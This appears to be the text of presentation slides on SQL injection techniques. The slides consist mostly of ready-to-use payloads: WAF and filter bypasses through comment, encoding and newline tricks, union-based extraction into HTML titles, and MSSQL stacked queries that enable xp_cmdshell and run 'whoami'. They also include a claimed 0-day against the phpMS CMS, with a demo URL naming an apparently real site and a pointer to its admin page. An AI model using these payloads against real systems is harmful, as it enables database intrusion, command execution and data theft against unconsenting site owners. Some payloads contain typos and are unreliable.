  • 14.  Well dealing with white spaces depends on different scenarios  U could use the traditional commenting style like  id=3/**/union/**/select 1,2,3 or  Well the problem is /**/ might be filtered in some cases  So we use the ()which is the same as executing the query  id=(2)union(select(1),2,3)  NB:During html based injections it is better to use the paranthesis
  • 15.  Based on Error 1222  Came across CTF’s where the answer had to be in normal union based .  Most tools fails here since the vulnerable column is being parsed in between the html tags.  Usually union statements are being provided here but the columns do not get displayed.  So what do we do ?  Plse don’t say we look over the source because ur not gonna find anything at the first shot 
  • 16.
  • 17. We do this by changing the traditional union select 1,2,3 to union select 1111,2222,3333 This helps us to search in the source but still nt available on screen.
  • 18. If u could like to display it on screen u could use concat or group_concat functions and using html inside them Use hex of html if the quotes are blocked due to magic quotes Here we could see the version on closing the “</title>” tag since the vulnerable column was being displayed within the title block
  • 19. Bypassing errors 400/403/404/406  //convert(group_concat(schema_name) using ascii) from information_schema.schemata - -  C-style Commenting : /*!Union*/+/*!Select*/ //apart from the original source commenting the ! Executes the command  Character Encoding :Bypasses filters like 400 %55nion/**/%53elect  Sub queries : Union (select 1,2,3) //Where most WAF’s fail out
  • 20.  id=-1+#1q%0Aunion all#qa%0A#%0Aselect 1,2,3%0A#a  // # is comment but the %0A bypasses with the new line so the statements gets executed  Bypassing Error 1064  Usually related with blocking of white spaces  id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0)) // the queries are supplied in parenthesis so as to forbid the use of white spaces  “/**/ “Commenting also possible  Bypassing Error 500  and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+x,x--+ // WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data. Give a large amount of data allows our code executing
  • 21. Stacked queries mainly available in mssql and postgresql servers Underlying process is simple if chmdshell options are enable then u are in  Stacked Queries Support is Checked on Server using 'WAITFOR DELAY hour:min:sec’ For ex:EXEC MASTER..xp_cmdshell 'PING 127.0.0.1 -n 6'- - - would check whether cmdshell is enabled or nt depending upon time lag.
  • 22.  http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'show advanced options', 1-- -  http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -  http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'xp_cmdshell', 1- - -  http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -
  • 23.
  • 24. Just to prove that still this exists a Real Life – demo 
  • 25. http://www.site.com/security.asp?vulnID=123;; CREATE TABLE funkyfresh (data varchar(8000));-- // Creates the table funkyfresh http://www.site.com/security.asp?vulnID=123;; DECLARE @funky varchar(4000); SET @funky=0x77686f616d69; INSERT INTO funkyfresh EXEC MASTER..xp_cmdshell @funky;-- - // WE declare a variable @funky and store it with hex equi. Of the code NOTE: 0x77686f616d69 => 'whoami‘
  • 26.  /!*AND*/ 5151=CONVERT(INT,(CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+C HAR(105)+CHAR(93)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))),1,100) FROM funkyfresh WHERE ISNULL(data,CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32)) FROM funkyfresh ORDER BY data) ORDER BY data)+CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+CHAR(105)+CHA R(93))) // Creadits to Bernardo's original write-up from BlackHat //The reason I took it although a bit complicated works for no reason seamlessly  Read the temp table to get the results and you need to make sure you deal with same data type when you do...
  • 27.
  • 28.  0-day by me   phpMS - a free CMS (content management system),  Designed for rapid development and support of web-projects of any complexity.  Features CMS phpMS:  Easy to install;  Multi-level menus;  Arbitrary arrangement of blocks;  Simple module development;  Access rights
  • 29. Demo http://http://www.rusug.ru/index.php?tree=8&mode=view&id=- 7+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6-- #By default 6 columns in most cases seen so could use this as default in sites discovered #Finding the admin page of this makes it very easy to exploit  # Default admin page is admin.php :-) Eg : http://www.site.com/admin.php :)
  • 30. References  Couple of Blackhat talks and papers  kaotickreations.blogspot.in (my blog)  http://websec.wordpress.com/tag/sql-filter-evasion/